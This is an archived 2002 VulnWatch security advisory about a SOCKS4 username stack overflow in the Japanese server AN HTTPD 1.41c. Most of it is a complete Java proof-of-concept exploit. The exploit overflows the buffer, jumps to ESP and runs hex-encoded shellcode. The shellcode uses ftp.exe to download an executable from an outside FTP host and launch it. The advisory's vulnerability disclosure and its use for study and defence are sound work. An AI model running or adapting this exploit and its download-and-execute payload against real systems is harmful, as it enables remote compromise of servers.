

[VulnWatch] AN HTTPD SOCKS4 username Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2002-10/0032.html>

From: Kanatoko (anvil@jumperz.net)

Date: 10/21/02

Date: Mon, 21 Oct 2002 17:16:43 +0900

From: Kanatoko <anvil@jumperz.net>

To: vulnwatch@vulnwatch.org

Advisory Information

Name : AN HTTPD

Vendor Homepage : <http://www.st.rim.or.jp/~nakata/>

Platforms : Windows9x/Me/NT/2000/XP

Vulnerability Type : stack overflow(very easy to exploit)

Vendor Contacted : 17/10/2002

Vendor Replied : 20/10/2002

Vulnerable Versions : 1.30 to 1.41c

Non affected version : 1.41d

Description

AN HTTPD is a Japanese multi purpose server software.

It can work as a SOCKS4 server.

We found an exploitable buffer overflow problem in AN HTTPD Version 1.41c.

Sending a SOCKS4 request with long username cause a buffer overflow. This

vulnerability allows a remote attacker to execute arbitrary code on the

target host.

Proof of Concept

anhttpd141c_exploit.java

```
/*////////////////////////////////////
```

AN HTTPD Version 1.41c SOCKS4 username buffer overflow exploit
for Japanese Windows 2000 Pro (SP2)

written by Kanatoko <anvil@jumperz.net>

<http://www.jumperz.net/>

```
////////////////////////////////////*/
```

VulnWatch: [VulnWatch] AN HTTPD SOCKS4 username Buffer Overflow Vulnerability

```
import java.net.*;
import java.io.*;

public class anhttpd141c_exploit
{
private static final int SOCKS_PORT = 1080;

private String targetHost;
//-----
public static void main( String[] args )
throws Exception
{
if( args.length != 1 )
{
System.out.println( "Usage: java anhttpd141c_exploit TARGETHOST( or IP )" );
return;
}
anhttpd141c_exploit instance = new anhttpd141c_exploit( args[ 0 ] );
instance.doIt();
}
//-----
public anhttpd141c_exploit( String IN_targetHost )
throws Exception
{
targetHost = IN_targetHost;
}
//-----
private void doIt()
throws Exception
{
Socket socket = new Socket( targetHost, SOCKS_PORT );
OutputStream os = socket.getOutputStream();

byte[] socks4_request = {
(byte)0x04, (byte)0x01, (byte)0x00, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x01
};

// egg: download and start installing Netscape4.79 :)
// http://www.jumperz.net/egg\_netscape.cpp
byte[] egg = {
(byte)0x55, (byte)0x8B, (byte)0xEC, (byte)0x53, (byte)0xEB, (byte)0x57, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x5B, (byte)0x33, (byte)0xC0, (byte)0x88, (byte)0x63, (byte)0x01, (byte)0x88,
(byte)0x63, (byte)0x03, (byte)0x83, (byte)0xC3, (byte)0x68, (byte)0x88, (byte)0x23, (byte)0x88,
(byte)0x63, (byte)0x21, (byte)0x88, (byte)0x63, (byte)0x2E, (byte)0x83, (byte)0xEB, (byte)0x68,
(byte)0x53, (byte)0x83, (byte)0xC3, (byte)0x02, (byte)0x53, (byte)0xB9, (byte)0xC2, (byte)0x1B,
(byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x50, (byte)0x83, (byte)0xC3, (byte)0x02,
(byte)0x53, (byte)0xB9, (byte)0x8B, (byte)0x38, (byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x59, (byte)0xB9, (byte)0xB8, (byte)0x0E, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x83, (byte)0xC3, (byte)0x65, (byte)0x53, (byte)0xB9, (byte)0x4A, (byte)0x9B, (byte)0x01,
(byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x83, (byte)0xC3, (byte)0x21, (byte)0x53, (byte)0xB9,
(byte)0x4A, (byte)0x9B, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0xB8, (byte)0x94,
```

VulnWatch: [VulnWatch] AN HTTPD SOCKS4 username Buffer Overflow Vulnerability

```
(byte)0x8F, (byte)0xE6, (byte)0x77, (byte)0xFF, (byte)0xD0, (byte)0xE8, (byte)0xA7, (byte)0xFF,
(byte)0xFF, (byte)0xFF, (byte)0x77, (byte)0x58, (byte)0x71, (byte)0x58, (byte)0x62, (byte)0x69,
(byte)0x6E, (byte)0x61, (byte)0x72, (byte)0x79, (byte)0x0A, (byte)0x67, (byte)0x65, (byte)0x74,
(byte)0x20, (byte)0x2F, (byte)0x70, (byte)0x75, (byte)0x62, (byte)0x2F, (byte)0x63, (byte)0x6F,
(byte)0x6D, (byte)0x6D, (byte)0x75, (byte)0x6E, (byte)0x69, (byte)0x63, (byte)0x61, (byte)0x74,
(byte)0x6F, (byte)0x72, (byte)0x2F, (byte)0x65, (byte)0x6E, (byte)0x67, (byte)0x6C, (byte)0x69,
(byte)0x73, (byte)0x68, (byte)0x2F, (byte)0x34, (byte)0x2E, (byte)0x37, (byte)0x39, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x39,
(byte)0x35, (byte)0x5F, (byte)0x6F, (byte)0x72, (byte)0x5F, (byte)0x6E, (byte)0x74, (byte)0x2F,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x70, (byte)0x6C, (byte)0x65, (byte)0x74, (byte)0x65,
(byte)0x5F, (byte)0x69, (byte)0x6E, (byte)0x73, (byte)0x74, (byte)0x61, (byte)0x6C, (byte)0x6C,
(byte)0x2F, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32, (byte)0x64, (byte)0x34, (byte)0x37,
(byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65, (byte)0x0A, (byte)0x71, (byte)0x75,
(byte)0x69, (byte)0x74, (byte)0x58, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x65,
(byte)0x78, (byte)0x65, (byte)0x20, (byte)0x2D, (byte)0x73, (byte)0x3A, (byte)0x71, (byte)0x20,
(byte)0x2D, (byte)0x41, (byte)0x20, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x6E,
(byte)0x65, (byte)0x74, (byte)0x73, (byte)0x63, (byte)0x61, (byte)0x70, (byte)0x65, (byte)0x2E,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x58, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32,
(byte)0x64, (byte)0x34, (byte)0x37, (byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65,
(byte)0x58
};
```

```
byte[] jmp_esp = {
(byte)0x02, (byte)0x4E, (byte)0x02, (byte)0x78
};
```

```
os.write( socks4_request );
```

```
    //where is memset? :0
for( int i = 0; i < 1020; ++i )
    {
        os.write( (byte)0x41 );
    }
```

```
os.write( jmp_esp );
os.write( egg );
os.write( (byte)0x00 );
}
//-----
}
```

```
--
Kanatoko <anvil@jumperz.net>
JUMPERZ.NET : http://www.jumperz.net/\(Japanese\)
```

- **Previous message:** [Ulf Harnhammar: "\[VulnWatch\] NOCC: XSS"](#)
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)